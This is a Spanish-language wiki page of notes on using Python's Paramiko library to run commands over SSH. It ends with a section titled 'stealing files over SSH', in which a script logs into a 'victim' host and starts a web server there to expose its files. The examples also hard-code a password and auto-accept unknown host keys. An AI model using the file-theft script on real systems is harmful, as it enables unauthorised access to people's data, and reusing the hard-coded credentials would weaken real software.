Notas de Luis

Paramiko es una librería que se utiliza para la automatización de tareas que requieren conectividad a través del protocolo SSH.

import paramiko
import time
 
host = '192.168.0.9' # Ponemos los datos del servidor donde nos queramos conectar.
user = 'mario'
password = '123123'
 
client = paramiko.SSHClient()
client.load_host_keys('C:/Users/mario/.ssh/known_hosts') # Aquí cargamos este fichero para indicar que el host ya es conocido.
client.connect(host, username=user, password=password) # Cargamos las variables.
client.set_missing_host_key_policy(paramiko.AutoAddPolicy() ) # Esto es para que el host sea conocido por la máquina.
 
stdin, stdout, stderr = client.exec_command('ls') # En estas 3 variables se guardan los posibles errores o salidas normales del comando.
 
time.sleep(2) # Damos tiempo a que los parámetros se hayan recogido en el punto anterior.
 
resultado = stdout.read().decode() # Recogemos el standar output en una variable.
print(resultado)

También podemos mejorar el código de tal forma que en caso de que la conexión tenga algún error, que se nos muestre dicho mensaje por pantalla:

import paramiko
import time
 
host = '192.168.1.9' # Ponemos los datos del servidor donde nos queramos conectar.
user = 'mario'
password = '123123'
 
try:
 
    client = paramiko.SSHClient()
    client.load_host_keys('C:/Users/mario/.ssh/known_hosts') # Aquí cargamos este fichero para indicar que el host ya es conocido.
    client.connect(host, username=user, password=password) # Cargamos las variables.
    client.set_missing_host_key_policy( paramiko.AutoAddPolicy() ) # Esto es para que el host sea conocido por la máquina.
 
    stdin, stdout, stderr = client.exec_command('ls') # En estas 3 variables se guardan los posibles errores o salidas normales del comando.
    time.sleep(2) # Damos tiempo a que los parámetros se hayan recogido en el punto anterior.
    resultado = stdout.read().decode() # Recogemos el standar output en una variable.
    print(resultado)
 
except:
 
    print("Algo ha fallado en la conexión...")

ROBAR ARCHIVOS POR SSH CON PYTHON

También podemos ejecutar el comando para montar un servidor web con python y así poder robar los archivos:

import paramiko
 
host = '192.168.0.9' # Ponemos los datos del servidor donde nos queramos conectar.
user = 'mario'
password = '123123'
 
try:
 
    client = paramiko.SSHClient()
    client.load_host_keys('C:/Users/mario/.ssh/known_hosts')
    client.connect(host, username=user, password=password)
    client.set_missing_host_key_policy( paramiko.AutoAddPolicy() )
 
    print("Debes escribir esta dirección en el navegador para acceder a los archivos de la víctima: ",host)
 
    client.exec_command('python3 -m http.server 81') # Montramos el servidor Python por el puerto que queramos.
 
except:
    print("Hubo un error...")

Y ya tenemos acceso desde nuestra máquina atacante a los archivos de la víctima:

computing/coding/python/hacking_python/paramiko_ssh_con_python.txt · Última modificación: por 127.0.0.1